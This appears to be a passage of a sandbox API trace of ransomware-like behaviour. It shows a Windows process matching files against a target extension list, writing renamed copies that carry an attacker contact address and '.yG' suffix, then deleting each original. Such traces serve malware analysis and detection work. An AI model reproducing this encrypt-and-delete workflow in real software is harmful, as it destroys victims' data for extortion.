	[0154.923] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0154.925] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.925] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.925] SetEndOfFile (hFile=0x388) returned 1
	[0154.925] CloseHandle (hObject=0x388) returned 1
	[0154.925] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.925] SetEndOfFile (hFile=0x52c) returned 1
	[0154.929] CloseHandle (hObject=0x52c) returned 1
	[0154.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0154.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.930] lstrlenW (lpString=".doc") returned 4
	[0154.930] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.930] lstrlenW (lpString=".docx") returned 5
	[0154.930] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0154.930] lstrlenW (lpString=".pdf") returned 4
	[0154.931] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.931] lstrlenW (lpString=".xls") returned 4
	[0154.931] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.931] lstrlenW (lpString=".xlsx") returned 5
	[0154.931] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0154.931] lstrlenW (lpString=".ppt") returned 4
	[0154.931] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.931] lstrlenW (lpString=".zip") returned 4
	[0154.931] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.931] lstrlenW (lpString=".rar") returned 4
	[0154.931] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.931] lstrlenW (lpString=".bz2") returned 4
	[0154.931] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.931] lstrlenW (lpString=".7z") returned 3
	[0154.931] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.931] lstrlenW (lpString=".dbf") returned 4
	[0154.931] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.932] lstrlenW (lpString=".1cd") returned 4
	[0154.932] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.932] lstrlenW (lpString=".jpg") returned 4
	[0154.932] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.932] lstrlenW (lpString=".doc") returned 4
	[0154.932] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.932] lstrlenW (lpString=".docx") returned 5
	[0154.932] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0154.932] lstrlenW (lpString=".pdf") returned 4
	[0154.932] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.932] lstrlenW (lpString=".xls") returned 4
	[0154.932] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.932] lstrlenW (lpString=".xlsx") returned 5
	[0154.932] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0154.932] lstrlenW (lpString=".ppt") returned 4
	[0154.932] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.932] lstrlenW (lpString=".zip") returned 4
	[0154.932] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.932] lstrlenW (lpString=".rar") returned 4
	[0154.932] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.932] lstrlenW (lpString=".bz2") returned 4
	[0154.932] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.932] lstrlenW (lpString=".7z") returned 3
	[0154.932] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.933] lstrlenW (lpString=".dbf") returned 4
	[0154.933] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.933] lstrlenW (lpString=".1cd") returned 4
	[0154.933] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0154.933] lstrlenW (lpString=".jpg") returned 4
	[0154.933] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.933] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.933] lstrlenW (lpString="J0099155.JPG") returned 12
	[0154.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.934] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=8826) returned 1
	[0154.934] CloseHandle (hObject=0x52c) returned 1
	[0154.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0154.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.935] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.935] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0154.936] GetLastError () returned 0x0
	[0154.936] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x227a, lpOverlapped=0x0) returned 1
	[0154.950] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2280, lpOverlapped=0x0) returned 1
	[0154.951] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.951] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.951] SetEndOfFile (hFile=0x388) returned 1
	[0154.952] CloseHandle (hObject=0x388) returned 1
	[0154.952] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.952] SetEndOfFile (hFile=0x52c) returned 1
	[0154.955] CloseHandle (hObject=0x52c) returned 1
	[0154.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.961] lstrlenW (lpString=".doc") returned 4
	[0154.961] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.961] lstrlenW (lpString=".docx") returned 5
	[0154.961] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0154.961] lstrlenW (lpString=".pdf") returned 4
	[0154.961] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.961] lstrlenW (lpString=".xls") returned 4
	[0154.961] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.961] lstrlenW (lpString=".xlsx") returned 5
	[0154.961] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0154.961] lstrlenW (lpString=".ppt") returned 4
	[0154.961] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.961] lstrlenW (lpString=".zip") returned 4
	[0154.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.961] lstrlenW (lpString=".rar") returned 4
	[0154.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.961] lstrlenW (lpString=".bz2") returned 4
	[0154.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.961] lstrlenW (lpString=".7z") returned 3
	[0154.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.961] lstrlenW (lpString=".dbf") returned 4
	[0154.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.961] lstrlenW (lpString=".1cd") returned 4
	[0154.962] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.962] lstrlenW (lpString=".jpg") returned 4
	[0154.962] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0154.962] lstrlenW (lpString=".doc") returned 4
	[0154.962] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.962] lstrlenW (lpString=".docx") returned 5
	[0154.962] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0154.962] lstrlenW (lpString=".pdf") returned 4
	[0154.962] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0155.407] lstrlenW (lpString=".xls") returned 4
	[0155.407] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0155.407] lstrlenW (lpString=".xlsx") returned 5
	[0155.407] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0155.407] lstrlenW (lpString=".ppt") returned 4
	[0155.407] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0155.407] lstrlenW (lpString=".zip") returned 4
	[0155.407] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0155.407] lstrlenW (lpString=".rar") returned 4
	[0155.407] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0155.407] lstrlenW (lpString=".bz2") returned 4
	[0155.407] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0155.407] lstrlenW (lpString=".7z") returned 3
	[0155.407] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0155.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0155.407] lstrlenW (lpString=".dbf") returned 4
	[0155.408] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0155.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0155.408] lstrlenW (lpString=".1cd") returned 4
	[0155.408] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0155.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0155.408] lstrlenW (lpString=".jpg") returned 4
	[0155.408] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0155.408] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0155.408] lstrlenW (lpString="J0099156.JPG") returned 12
	[0155.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0156.103] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=13954) returned 1
	[0156.103] CloseHandle (hObject=0x550) returned 1
	[0156.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0156.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0156.104] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.104] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0156.105] GetLastError () returned 0x0
	[0156.105] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3682, lpOverlapped=0x0) returned 1
	[0156.120] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0156.121] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.121] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.121] SetEndOfFile (hFile=0x540) returned 1
	[0156.121] CloseHandle (hObject=0x540) returned 1
	[0156.122] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.122] SetEndOfFile (hFile=0x550) returned 1
	[0156.125] CloseHandle (hObject=0x550) returned 1
	[0156.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0156.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.616] lstrlenW (lpString=".doc") returned 4
	[0156.616] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.616] lstrlenW (lpString=".docx") returned 5
	[0156.616] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0156.616] lstrlenW (lpString=".pdf") returned 4
	[0156.616] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.616] lstrlenW (lpString=".xls") returned 4
	[0156.616] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.616] lstrlenW (lpString=".xlsx") returned 5
	[0156.616] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0156.616] lstrlenW (lpString=".ppt") returned 4
	[0156.617] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString=".zip") returned 4
	[0156.617] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.617] lstrlenW (lpString=".rar") returned 4
	[0156.617] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.617] lstrlenW (lpString=".bz2") returned 4
	[0156.617] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.617] lstrlenW (lpString=".7z") returned 3
	[0156.617] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString=".dbf") returned 4
	[0156.617] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString=".1cd") returned 4
	[0156.617] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString=".jpg") returned 4
	[0156.617] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.617] lstrlenW (lpString=".doc") returned 4
	[0156.617] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.617] lstrlenW (lpString=".docx") returned 5
	[0156.617] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0156.617] lstrlenW (lpString=".pdf") returned 4
	[0156.617] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.617] lstrlenW (lpString=".xls") returned 4
	[0156.618] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.618] lstrlenW (lpString=".xlsx") returned 5
	[0156.618] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0156.618] lstrlenW (lpString=".ppt") returned 4
	[0156.618] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.618] lstrlenW (lpString=".zip") returned 4
	[0156.618] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.618] lstrlenW (lpString=".rar") returned 4
	[0156.618] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.618] lstrlenW (lpString=".bz2") returned 4
	[0156.618] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.618] lstrlenW (lpString=".7z") returned 3
	[0156.618] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.618] lstrlenW (lpString=".dbf") returned 4
	[0156.618] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.618] lstrlenW (lpString=".1cd") returned 4
	[0156.618] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0156.618] lstrlenW (lpString=".jpg") returned 4
	[0156.618] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.619] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0156.619] lstrlenW (lpString="J0099158.WMF") returned 12
	[0156.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.773] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=26160) returned 1
	[0156.773] CloseHandle (hObject=0x350) returned 1
	[0156.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0156.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.774] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.774] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.775] GetLastError () returned 0x0
	[0156.775] ReadFile (in: hFile=0x350, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x6630, lpOverlapped=0x0) returned 1
